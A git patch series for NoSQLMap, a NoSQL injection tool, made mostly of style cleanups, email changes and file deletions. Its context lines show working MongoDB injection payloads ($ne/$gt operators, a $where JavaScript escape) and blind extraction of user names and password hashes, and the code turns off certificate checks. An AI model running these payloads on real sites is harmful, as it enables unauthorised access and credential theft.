+7,7 @@ import nsmmongo import nsmcouch + def massScan(platform): yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] @@ -83,11 +84,11 @@ def massScan(platform): elif result[0] == 1: print platform + " running but credentials required on " + target.rstrip() + "." - creds.append(target.rstrip()) #Future use + creds.append(target.rstrip()) # Future use elif result[0] == 2: print "Successful " + platform + " connection to " + target.rstrip() + " but error executing command." - commError.append(target.rstrip()) #Future use + commError.append(target.rstrip()) # Future use elif result[0] == 3: print "Couldn't connect to " + target.rstrip() + "." From 66a734fbadb9ab8352561efc344c1d11253114b4 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:32:18 +1000 Subject: [PATCH 143/207] Begin PEP8 refactor NSMWeb --- nsmweb.py | 60 ++++++++++++++++++++++++++++++------------------------- 1 file changed, 33 insertions(+), 27 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index 57406ac..3c99ed0 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -2,6 +2,7 @@ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission + import urllib import urllib2 import string @@ -11,12 +12,13 @@ import time import random -#Fix for dealing with self-signed certificates. This is wrong and highly discouraged, but it's a hacking tool, so it's fixed with a hack. Get over it :-) +# Fix for dealing with self-signed certificates. This is wrong and highly discouraged, to be revisited in stable branch if version_info >= (2, 7, 9): import ssl ssl._create_default_https_context = ssl._create_unverified_context + def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Web App Attacks (GET)" print "===============" @@ -44,7 +46,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): global int24 int24 = False - #Verify app is working. + # Verify app is working. print "Checking to see if site at " + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip() + " is up..." if https == "OFF": @@ -83,8 +85,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" - #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. - #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. + # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. + # Add error handling for Non-200 HTTP response codes if random strings freaks out the app. if "?" not in appURL: print "No URI parameters provided for GET request...Check your options.\n" raw_input("Press enter to continue...") @@ -113,7 +115,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): else: print "Test 1: PHP/ExpressJS != associative array injection" - #Test for errors returned by injection + # Test for errors returned by injection req = urllib2.Request(uriArray[1], None, requestHeaders) errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) @@ -162,7 +164,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): else: testNum +=1 - #Start a single record attack in case the app expects only one record back + # Start a single record attack in case the app expects only one record back print "\n" if verb == "ON": print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" @@ -344,6 +346,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): raw_input("Press enter to continue...") return() + def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): print "Web App Attacks (POST)" print "===============" @@ -366,7 +369,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): global gtDict testNum = 1 - #Verify app is working. + # Verify app is working. print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." if https == "OFF": @@ -423,8 +426,8 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" - #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. - #Add error handling for Non-200 HTTP response codes if random strings freak out the app. + # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. + # Add error handling for Non-200 HTTP response codes if random strings freak out the app. postData.update({injOpt:injectString}) if verb == "ON": print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n" @@ -444,7 +447,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Random value variance: " + str(randNormDelta) + "\n" - #Generate not equals injection + # Generate not equals injection neDict = postData neDict[injOpt + "[$ne]"] = neDict[injOpt] del neDict[injOpt] @@ -467,10 +470,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): testNum +=1 print "\n" - #Delete the extra key + # Delete the extra key del postData[injOpt + "[$ne]"] - #generate $gt injection + # generate $gt injection gtDict = postData gtDict.update({injOpt:""}) gtDict[injOpt + "[$gt]"] = gtDict[injOpt] @@ -530,7 +533,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): testNum += 1 print "\n" - #Start a single record attack in case the app expects only one record back + # Start a single record attack in case the app expects only one record back postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body, requestHeaders) @@ -706,6 +709,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): raw_input("Press enter to continue...") return() + def errorTest (errorCheck,testNum): global possAddrs global httpMethod @@ -811,6 +815,7 @@ def checkResult(baseSize,respSize,testNum,verb,postData): possAddrs.append(str(postData)) return + def randInjString(size): print "What format should the random string take?" print "1-Alphanumeric" @@ -959,6 +964,7 @@ def buildUri(origUri, randValue): return uriArray[0] + def getDBInfo(): curLen = 0 nameLen = 0 @@ -1028,7 +1034,7 @@ def getDBInfo(): if getUserInf.lower() == "y": charCounter = 0 nameCounter = 0 - #find the total number of users on the database + # find the total number of users on the database while gotUserCnt == False: usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a") @@ -1042,11 +1048,11 @@ def getDBInfo(): else: usrCount += 1 - usrChars = 0 #total number of characters in username - charCounterUsr = 0 #position in the character array-Username - rightCharsUsr = 0 #number of correct characters-Username - rightCharsHash = 0 #number of correct characters-hash - charCounterHash = 0 #position in the character array-hash + usrChars = 0 # total number of characters in username + charCounterUsr = 0 # position in the character array-Username + rightCharsUsr = 0 # number of correct characters-Username + rightCharsHash = 0 # number of correct characters-hash + charCounterHash = 0 # position in the character array-hash username = "" pwdHash = "" charCountUsr = False @@ -1055,14 +1061,14 @@ def getDBInfo(): while retrUsers < usrCount: if retrUsers == 0: while charCountUsr == False: - #different query to get the first user vs. others + # different query to get the first user vs. others usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) lenUri = int(len(urllib2.urlopen(req).read())) if lenUri == baseLen: - #Got the right number of characters + # Got the right number of characters charCountUsr = True else: @@ -1085,7 +1091,7 @@ def getDBInfo(): retrUsers += 1 users.append(username) - #reinitialize all variables and get ready to do it again + # reinitialize all variables and get ready to do it again #print str(retrUsers) #print str(users) charCountUsr = False @@ -1110,20 +1116,20 @@ def getDBInfo(): hashes.append(pwdHash) print "Got user:hash " + users[0] + ":" + hashes[0] - #reinitialize all variables and get ready to do it again + # reinitialize all variables and get ready to do it again charCounterHash = 0 rightCharsHash = 0 pwdHash = "" else: while charCountUsr == False: - #different query to get the first user vs. others + # different query to get the first user vs. others usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) lenUri = int(len(urllib2.urlopen(req).read())) if lenUri == baseLen: - #Got the right number of characters + # Got the right number of characters charCountUsr = True else: @@ -1145,7 +1151,7 @@ def getDBInfo(): charCounterUsr += 1 retrUsers += 1 - #reinitialize all variables and get ready to do it again + # reinitialize all variables and get ready to do it again charCountUsr = False rightCharsUsr = 0 @@ -1168,7 +1174,7 @@ def getDBInfo(): users.append(username) hashes.append(pwdHash) print "Got user:hash " + users[retrUsers-1] + ":" + hashes[retrUsers-1] - #reinitialize all variables and get ready to do it again + # reinitialize all variables and get ready to do it again username = "" charCounterHash = 0 rightCharsHash = 0 From 1ab466b2d532357742577b4fed0aa671df1a4f5d Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:33:06 +1000 Subject: [PATCH 144/207] Update contact email --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index c0d518b..27de04e 100644 --- a/setup.py +++ b/setup.py @@ -19,7 +19,7 @@ "requests==2.5.0"], author = "tcstool", - author_email = "nosqlmap@gmail.com", + author_email = "codingo@protonmail.com", description = "Automated MongoDB and NoSQL web application exploitation tool", license = "GPLv3", long_description = f.read(), From f955dc7561e53beb3d2789ff110b0550ca69a889 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:44:35 +1000 Subject: [PATCH 145/207] Contact email change --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 0b6f703..510141f 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -64,7 +64,7 @@ def mainMenu(): print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" print "====================================================" print "NoSQLMap-v0.7" - print "nosqlmap@gmail.com" + print "codingo@protonmail.com" print "\n" print "1-Set options" print "2-NoSQL DB Access Attacks" From 0a853736acc24cbadde75714d42112fc1a946c54 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:47:52 +1000 Subject: [PATCH 146/207] Delete NoSQLMap-v0.5.iml --- .idea/NoSQLMap-v0.5.iml | 11 ----------- 1 file changed, 11 deletions(-) delete mode 100644 .idea/NoSQLMap-v0.5.iml diff --git a/.idea/NoSQLMap-v0.5.iml b/.idea/NoSQLMap-v0.5.iml deleted file mode 100644 index 6711606..0000000 --- a/.idea/NoSQLMap-v0.5.iml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - \ No newline at end of file From 447227e3f1ac2f21a1ea8531ae60541e89bea3d8 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:02:01 +1000 Subject: [PATCH 147/207] Removing redundant file --- __init__.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 __init__.py diff --git a/__init__.py b/__init__.py deleted file mode 100644 index e69de29..0000000 From adb555b6b3da7a8916eca129feea28ad8992d056 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:05:16 +1000 Subject: [PATCH 148/207] Create ISSUE_TEMPLATE.md --- ISSUE_TEMPLATE.md | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 ISSUE_TEMPLATE.md diff --git a/ISSUE_TEMPLATE.md b/ISSUE_TEMPLATE.md new file mode 100644 index 0000000..92018da --- /dev/null +++ b/ISSUE_TEMPLATE.md @@ -0,0 +1,25 @@ +## What's the problem (or question)? + + + +## Do you have an idea for a solution? + + + +## How can we reproduce the issue? + +1. +2. +3. +4. + +## What are the running context details? + +* Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`): +* Client OS (e.g. `Microsoft Windows 10`) +* Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation): +* Target DBMS (e.g. `Mongo`): +* Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`): +* Results of manual target assessment +* Relevant console output (if any): +* Exception traceback (if any): From 6628cfc7544c9f70bd60c5da661e249254397012 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 01:14:04 +0000 Subject: [PATCH 149/207] Add files via upload --- screenshots/NoSQLMap-v0-5.jpg | Bin 0 -> 87195 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 screenshots/NoSQLMap-v0-5.jpg diff --git a/screenshots/NoSQLMap-v0-5.jpg b/screenshots/NoSQLMap-v0-5.jpg new file mode 100644 index 0000000000000000000000000000000000000000..e37370ae85147314bbb59a33e616eacc614430c9 GIT binary patch literal 87195 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 